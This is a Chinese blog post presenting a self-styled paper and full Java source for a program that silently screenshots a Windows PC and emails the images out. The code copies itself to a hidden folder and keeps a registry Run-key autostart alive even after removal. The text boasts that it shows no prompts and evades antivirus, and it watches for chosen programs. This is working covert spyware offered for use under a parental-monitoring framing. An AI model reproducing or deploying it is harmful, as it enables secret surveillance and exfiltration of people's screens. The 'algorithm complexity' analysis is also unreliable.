首頁 » 原創 » 正文

[原創]面向Email發送的定時屏幕截圖算法與應用

以下是我最近發表的論文,出於隱私保護我刪除了自己的名字,文章僅供參考,謝絕轉載,謝謝。


面向Email發送的定時屏幕截圖算法與應用

摘 要 本文首先介紹了提出面向Email發送的定時屏幕截圖算法的實際需求和背景情況。接着,針對時間跨度大、定期採樣、安全性要求高、成本要求低等情況設計了核心算法,並用java進行了實現。最後,總結了不足和展望了接下來進一步改進的方向。
關鍵詞 定時屏幕截圖,監控,防沉迷,Java,Email
中圖分類號 TP311,TP312   文獻標誌碼: A

Email delivery oriented Java timed screenshots algorithm and its applications
Abstract: Firstly, it introduced the need to use timed screenshots and Email delivery in practice. Secondly, it proposed the Email delivery oriented Java timed screenshots algorithm, and realized this algorithm with Java. Finally, it summarized the paper and presented the future work.
Key words: Timed screenshots,monitor,anti-addiction,Java,Email

1  引言
屏幕截圖就是將電腦屏幕上的桌面、窗口、對話框、選項卡等屏幕元素保存為圖片。在Windows下用戶可以使用鍵盤上的「打印屏幕系統請求」(Print Screen)按鍵進行整個屏幕的截圖,還可以藉助專業的屏幕截圖軟件進行截圖。
電子郵件是—種用電子手段提供信息交換的通信方式,是互聯網應用最廣的服務。通過網絡的電子郵件系統,用戶可以以非常低廉的價格、非常快速的方式,與世界上任何一個角落的網絡用戶聯繫。電子郵件可以是文字、圖像、聲音等多種形式。極大地方便了人與人之間的溝通與交流,促進了社會的發展。
當前,隨着計算機網絡的普遍,未成年沉迷於網遊的現象越來越普遍,如何對青少年的上網行為進行糾正已成為了一個社會性問題;作為家長,可能需要及時掌握孩子的上網情況,並做出一些針對性的方案,此時採用傳統的控制和監控軟件顯然是不合適的,因為家長關心的往往是自己白天上班時孩子的上網情況,一邊忙於工作,一邊兼顧關注孩子,顯然是不現實的。正式在這樣的背景下,我們說需要一款軟件,能夠定時記錄孩子正在使用電腦的情況並通過Email進行傳送,這樣家長白天可以安心工作,晚上查一下郵箱便知道孩子的動向,省時省力,而且也顯得非常必要和有用。
與此同時,在工業生產中,也需要對計算機進行監控和查看,雖然遠程桌面可以解決一部分問題,但其缺點也是顯而易見的:不加選擇的實時數據傳送不但耗費帶寬、佔用硬盤空間、違反節能主題、效率低下,而且還需要主控端保持開機,如果需要同時處理不同主機的數據時更是顯得力不從心。如果有一款軟件,只要運行一次,以後就會定期的將機器的情況(屏幕截圖)傳遞到指定郵箱,顯然是一個合適而且非常有用的方法。
針對上面所討論的一些實際場合:需要對長時間的操作定時採樣並安全的傳送,在本文中,我們設計了這樣一款軟件,它可以:靜默實現一系列自我拷貝,定時屏幕截圖,自動壓縮打包,後台郵件傳送,開機自啟等功能。將計算機的使用情況安全可靠地傳送給控制人員。具體的程序優點如下:
(1)本程序由Java語言編寫,有較高的安全性並且容易擴展;
(2)程序從運行到結束(包括網絡Email發送)不會產生任何提示或信息;
(3)不對最初運行程序產生依賴,即使在運行後將其刪除,依舊不影響程序運行。所有生成的文件和壓縮包將自動保存在本機;
(4)程序不定時添加開機自啟,即使被他人誤取消也會很快恢復;
(5)程序將自己完成所有工作,並且每隔3小時再運行一次,其中執行間隔時間可以自己調整;
(6)程序的執行過程主流殺毒軟件不會報毒,用戶不必手動添加信任;
(7)程序使用變量標記文件名,當一輪操作結束將變量置為0,覆蓋原來上一輪的文件,避免了大量文件堆積和刪除操作;
(8)如果用戶有特別關注的程序,可以控制程序自動檢測並在其啟動後加快截圖速度。
本文的內容安排如下:第一節給出了本文算法「面向Email發送的定時屏幕截圖算法」的實際需求背景;第二節給出了核心算法的設計思想;第三節使用Java語言對算法進行了實現;第四節對本文進行小結。
註:(1)由於使用Java編程語言,運行程序的機器需要安裝java環境;
(2)本文中所涉及程序的測試運行環境為windows 7, JDK 1.7.0_67上。
2  核心算法設計和分析
在這一節中,我們將給出算法主要的設計步驟和相關流程圖,並對算法進行初步的分析。
算法主要步驟如下:
(1)程序啟動後複製自身到c盤system文件夾下,重命名為sub.jar
(2)複製結束後啟動屏幕截圖,每10秒(可調)進行一次屏幕截圖,並在system文件夾下生成
img文件夾,將保存的截圖依次命名為1到6的圖片文件。
(3)當圖片文件達到6張(可調)時,停止截圖,啟動打包程序。
(4)程序自動將img文件下的所有文件打包為rar格式的壓縮文件,在system下創建zip文件
夾,並將新創建的壓縮文件保存其中。
(5)設置文件標記為0,下次啟動時文件將重新命名為1.jpg並覆蓋原文件,節省空間。
(6)檢查並設置開機自啟動。
(7)啟動後台郵件發送,自動將剛才創建的壓縮文件以郵件附件的形式發送到指定的郵箱。
(8)休眠3小時(可調)再次啟動從2到8的步驟。


算法流程圖如下:
2
圖1 算法流程圖
UML類圖如下:
1
圖2 UML類圖

算法分析
程序每3個小時為一個運行周期,我們以最初的三個小時分析算法時間複雜度:
->生成system文件夾
->複製自身---重命名
->生成img文件夾
->截圖6次
->生成zip文件夾
->打包6張圖片
->設置標記
->開機自啟
->發送郵件
因此,算法複雜度為20

3  算法實現
下面我們主要基於Java,對「面向Email發送的定時屏幕截圖算法」進行編程實現。在使用Java進行編程實現之前,我們首先對Java這種腳本語言進行一個簡單的介紹。
3.1  Java
Java是一種可以撰寫跨平台應用軟件的面向對象的程序設計語言。Java 技術具有卓越的通用性、高效性、平台移植性和安全性,廣泛應用於PC、數據中心、遊戲控制台、科學超級計算機、流動電話和互聯網,同時擁有全球最大的開發者專業社群。
3.2  核心代碼
	下面給出「面向Email發送的定時屏幕截圖算法」的Java代碼實現,具體如下:
=======================主啟動類=======================
public class MainFrame extends JFrame {
	public static void main(String[] args) {
		new CopyFile();//複製自己
		new ScreenSnapshot();//自動開始屏幕截圖
	}
=====================自我複製類=======================	
class CopyFile {
	public CopyFile(){
		copyFile("start.jar","C:\\system\\sub.jar");//複製自身
		}
	public void copyFile(String oldPath, String newPath) {
		try {
			int bytesum = 0;
			int byteread = 0;
			File oldfile = new File(oldPath);
			if (oldfile.exists()) { // 文件存在時
				File f2 = new File("C:\\system\\");
		        f2.mkdir();
				InputStream inStream = new FileInputStream(oldPath); // 讀入原文件
				FileOutputStream fs = new FileOutputStream(newPath);
				byte[] buffer = new byte[1444];
				int length;
				while ((byteread = inStream.read(buffer)) != -1) {
					bytesum += byteread; // 位元組數 文件大小
					System.out.println(bytesum);
					fs.write(buffer, 0, byteread);
				}
				inStream.close();
			}
		} catch (Exception e) {
			System.out.println("複製單個文件操作出錯");
			e.printStackTrace();
		}
}
}
========================屏幕截圖與主控類=========================
public class ScreenSnapshot {
ScreenSnapshot() {
for (int i = 1, j = 1; true; i++, j++) {// i是循環標記,無限增大,j是圖片文件標記,將其使用後置0,直接覆蓋原來的文件
			try {
				Thread.sleep(10000);// 休眠10秒,每10秒截一次圖
			} catch (InterruptedException e1) {
e1.printStackTrace();
			}
			try {
				int width = (int) Toolkit.getDefaultToolkit().getScreenSize().getWidth(); // 要截取的寬度
				int height = (int) Toolkit.getDefaultToolkit().getScreenSize().getHeight(); // 要截取的高度
				Robot robot = new Robot();
				BufferedImage image = robot.createScreenCapture(new Rectangle(width, height));
				image = image.getSubimage(0, 0, width, height);// 全屏截圖,局部截圖請修改寬高
				File file0 = new File("C:\\system\\");
				file0.mkdir();// 創建新目錄
				File file = new File("C:\\system\\img\\");
				file.mkdir();// 創建新目錄
				ImageIO.write(image, "png", new File("C:\\system\\" + "img\\" + j + ".jpg"));// 截圖保存
				System.out.println("created[" + j + "]");
				if (i % 6 == 0) {// 這裡設置每6張截圖自動打包為zip壓縮文件,並郵件發送指定郵箱。
					try {
						Zip.main(null);// 壓縮
					} catch (Exception e) {
						e.printStackTrace();
					}
					j = 0;// 標記置0,省去刪除操作,以保證總體空間不太大
					new AutoStart();// 設為開機自啟,設置在這裡的原因是防止用戶通過其他方式去除自啟項
					new Send();// 發送郵件
					try {
						Thread.sleep(10800000);// 發送郵件後,休眠3小時,這是為了避免頻煩發郵件造成網路堵塞和被服務器視為垃圾群發郵箱
					} catch (InterruptedException e) {
					e.printStackTrace();
					}
				}
			} catch (AWTException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}
}  
=======================自動打包類======================
public class Zip {
    public static void main(String[] args)
            throws Exception {
        File f = new File("C:\\system\\img");
        File f2 = new File("C:\\system\\zip");
        f2.mkdir();//創建目錄
        ZipOutputStream out = new ZipOutputStream(new FileOutputStream(
                "c:\\system\\zip\\note.zip"));//壓縮文件
        zip(out, f, null);
        System.out.println("zip done");
        out.close();
    }
    private static void zip(ZipOutputStream out, File f, String base)
            throws Exception {
        System.out.println("zipping " + f.getAbsolutePath());
        if (f.isDirectory()) {
            File[] fc = f.listFiles();
            if (base != null)
                out.putNextEntry(new ZipEntry(base + "/"));
            base = base == null ? "" : base + "/";
            for (int i = 0; i < fc.length; i++) {
                zip(out, fc[i], base + fc[i].getName());
            }
        } else {
            out.putNextEntry(new ZipEntry(base));
            FileInputStream in = new FileInputStream(f);
            int b;
            while ((b = in.read()) != -1)
                out.write(b);
            in.close();
        }
}
=======================開機自啟動類==========================
public class AutoStart {
  	public AutoStart(){
	 	try {
			at();
		} catch (IOException e) {
			e.printStackTrace();
		}
  }
  public static void at() throws IOException {
  	String key="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
  	String name="system";//啟動項名稱
 	 String value="C:\\system\\sub.jar";//程序路徑
  	String command="reg add "+key+" /v "+name+" /d "+value;
 	 Runtime.getRuntime().exec(command);
 	}
}
======================判斷某個進程是否存在==========================
public class isAlive {
     public static void main(String[] args) throws IOException {
    	if(isRunning("QQ.exe")){System.out.println("運行");}
    }
public static boolean isRunning(String exeName) {
        Process proc;
        try {
            proc = Runtime.getRuntime().exec("tasklist");
            BufferedReader br = new BufferedReader(new InputStreamReader(proc
                    .getInputStream()));
            String info = br.readLine();
            while (info != null) {
              if (info.indexOf(exeName) >= 0) {
                    return true;
                }
                info = br.readLine();
            }
        } catch (IOException e) {
            e.printStackTrace();
        } 
        System.out.println(false);
        return false;
    }
 }
=======================發送郵件相關類=====================
public class Mail {  
    //定義發件人、收件人、SMTP服務器、用戶名、密碼、主題、內容等  
    private String displayName;  
    private String to;  
    private String from;  
    private String smtpServer;  
    private String username;  
    private String password;  
    private String subject;  
    private String content;  
    private boolean ifAuth; //服務器是否要身份認證  
    private String filename="";  
    private Vector file = new Vector(); //用於保存發送附件的文件名的集合  
   	public void setSmtpServer(String smtpServer){  this.smtpServer=smtpServer;  }   
public void setFrom(String from){ this.from=from; }  
public void setDisplayName(String displayName){ this.displayName=displayName;}  
public void setIfAuth(boolean ifAuth){this.ifAuth=ifAuth;}  
public void setUserName(String username){this.username=username;}  
public void setPassword(String password){this.password=password;}  
public void setTo(String to){this.to=to;}  
public void setSubject(String subject){this.subject=subject;}  
public void setContent(String content){this.content=content;}  
public void addAttachfile(String fname){file.addElement(fname);}  
public Mail(){}  
    //初始化SMTP服務器地址、發送者E-mail地址、用戶名、密碼、接收者、主題、內容 
        public Mail(String smtpServer,String from,String displayName,String username,String password,String to,String subject,String content){  
        this.smtpServer=smtpServer;  
        this.from=from;  
        this.displayName=displayName;  
        this.ifAuth=true;  
        this.username=username;  
        this.password=password;  
        this.to=to;  
        this.subject=subject;  
        this.content=content;  
    }  
        //初始化SMTP服務器地址、發送者E-mail地址、接收者、主題、內容 
       public Mail(String smtpServer,String from,String displayName,String to,String subject,String content){  
        this.smtpServer=smtpServer;  
        this.from=from;  
        this.displayName=displayName;  
        this.ifAuth=false;  
        this.to=to;  
        this.subject=subject;  
        this.content=content;  
    }  
      //發送郵件 
       public HashMap send(){  
        HashMap map=new HashMap();  
        map.put("state", "success");  
        String message="郵件發送成功!";  
        Session session=null;  
        Properties props = System.getProperties();  
        props.put("mail.smtp.host", smtpServer);  
        if(ifAuth){ //服務器需要身份認證  
            props.put("mail.smtp.auth","true");     
            SmtpAuth smtpAuth=new SmtpAuth(username,password);  
            session=Session.getDefaultInstance(props, smtpAuth);   
        }else{  
            props.put("mail.smtp.auth","false");  
            session=Session.getDefaultInstance(props, null);  
        }  
        session.setDebug(true);  
        Transport trans = null;    
        try {  
            Message msg = new MimeMessage(session);   
            try{  
                Address from_address = new InternetAddress(from, displayName);  
                msg.setFrom(from_address);  
            }catch(java.io.UnsupportedEncodingException e){  
                e.printStackTrace();  
            }  
            InternetAddress[] address={new InternetAddress(to)};  
            msg.setRecipients(Message.RecipientType.TO,address);  
            msg.setSubject(subject);  
            Multipart mp = new MimeMultipart();  
            MimeBodyPart mbp = new MimeBodyPart();  
            mbp.setContent(content.toString(), "text/html;charset=gb2312");  
            mp.addBodyPart(mbp);    
            if(!file.isEmpty()){//判斷是否有附件  
                Enumeration efile=file.elements();  
                while(efile.hasMoreElements()){   
                    mbp=new MimeBodyPart();  
                    filename=efile.nextElement().toString(); //選擇附件名  
                    FileDataSource fds=new FileDataSource(filename); //得到數據源  
                    mbp.setDataHandler(new DataHandler(fds)); //得到附件本身並至入BodyPart  
                    mbp.setFileName(fds.getName());  //得到文件名同樣至入BodyPart  
                    mp.addBodyPart(mbp);  
                }    
                file.removeAllElements();      
            }   
            msg.setContent(mp); //Multipart加入到信件  
            msg.setSentDate(new Date());     //設置信件頭的發送日期  
            //發送信件  
            msg.saveChanges();   
            trans = session.getTransport("smtp");  
            trans.connect(smtpServer, username, password);  
            trans.sendMessage(msg, msg.getAllRecipients());  
            trans.close();  
        }catch(AuthenticationFailedException e){     
             map.put("state", "failed");  
             message="郵件發送失敗!錯誤原因:\n"+"身份驗證錯誤!";  
             e.printStackTrace();   
        }catch (MessagingException e) {  
             message="郵件發送失敗!錯誤原因:\n"+e.getMessage();  
             map.put("state", "failed");  
             e.printStackTrace();  
             Exception ex = null;  
             if ((ex = e.getNextException()) != null) {  
                 System.out.println(ex.toString());  
                 ex.printStackTrace();  
             }   
        }  
         map.put("message", message);  
        return map;  
    }  
}  
public class SmtpAuth extends javax.mail.Authenticator {   
    private String username,password;   
    public SmtpAuth(String username,String password){   
        this.username = username;    
        this.password = password;    
    }   
    protected javax.mail.PasswordAuthentication getPasswordAuthentication() {   
        return new javax.mail.PasswordAuthentication(username,password);   
    }   
}     
public class Send {
public Send() {
		Mail m=new Mail();
		m.setSmtpServer("");//設置發送服務器
		m.setUserName("");//設置用戶名
		m.setPassword("");//設置郵箱密碼
		m.setContent("This mail is AutoSending");//設置郵箱內容
		m.setDisplayName("Autosending");//設置顯示名
		m.setFrom("");//設置發送郵箱
		m.setTo("");//設置接受郵箱
		m.setIfAuth(false);//是否驗證
		m.addAttachfile("c:\\system\\zip\\note.zip");//添加附件
		m.setSubject("subject");
		MailcapCommandMap mc = (MailcapCommandMap) CommandMap.getDefaultCommandMap();
mc.addMailcap("text/html;;x-java-content-handler=com.sun.mail.handlers.text_html");   	mc.addMailcap("text/xml;;x-java-content-handler=com.sun.mail.handlers.text_xml");        	mc.addMailcap("text/plain;;x-java-content-handler=com.sun.mail.handlers.text_plain");   	mc.addMailcap("multipart/*;;x-java-content-handler=com.sun.mail.handlers.multipart_mixed");        	mc.addMailcap("message/rfc822;;x-java-content-handler=com.sun.mail.handlers.message_rfc822");
CommandMap.setDefaultCommandMap(mc);
		m.send();
	}
}使用環境
在本部分,主要對程序的配置、測試使用進行一個簡單的介紹。
運行環境
此程序只可在Windows系列操作系統中運行。程序的運行必須要有java環境。經測試,在Windows XP,Windows 7各版本中可直接運行,360殺毒軟件沒有報毒和任何操作警告。
基本使用
程序點擊運行後無需人工干預,同時由於全程靜默後台執行,沒有任何界面。
4  小結
	本程序方便地解決了一些需要長時間,定時採樣的遠程監控事件,它全自動靜默運行,不佔用過多的空間,尤其是郵件發送,避免了主控端一直要開機的情況,同時也為多台被控端同時工作帶來了可能。
接下來,我們會進一步考慮改進:
(1)可將主控端做成界面形式,在本版本的程序中,各個參數需要在源代碼中調整,多有不便,可將這些參數抽出,單獨賦值,方便控制;
(2)由於本程序是java語言編寫,需要被控端安裝java環境,未來可將jre環境打包並在沒有java環境的機器上安裝;
(3)如果用戶的網絡沒有連接到互聯網,則郵件發送無法成功,未來可寫一個檢測互聯網是否連通的模塊,如果網路不同,則改變方式為本機保存或停止截屏,等待網絡連通後再傳送;
(4)部分模塊有平台依賴性,由於開機自啟動是用java修改註冊表,判斷進程調用了系統函數,所以程序只能在windows平台運行,未來可針對此情況做出改進。
參考文獻:
[1]Java API 1.7.
[2]百度百科, 屏幕截圖,http://baike.baidu.com/view/7087692.htm.
[3]百度百科, 電子郵件,http://baike.baidu.com/view/1524.htm.
[4]百度百科, Java,http://baike.baidu.com/subview/29/12654100.htm.
[5]博客園, 幻影 , Java發送郵件(帶附件), http://www.cnblogs.com/yejg1212/archive/2013/06/01/3112702.html.
[6]開源中國社區, Andy市民, Java 獲取系統的進程列表, http://my.oschina.net/andy1989/blog/205309.

發表評論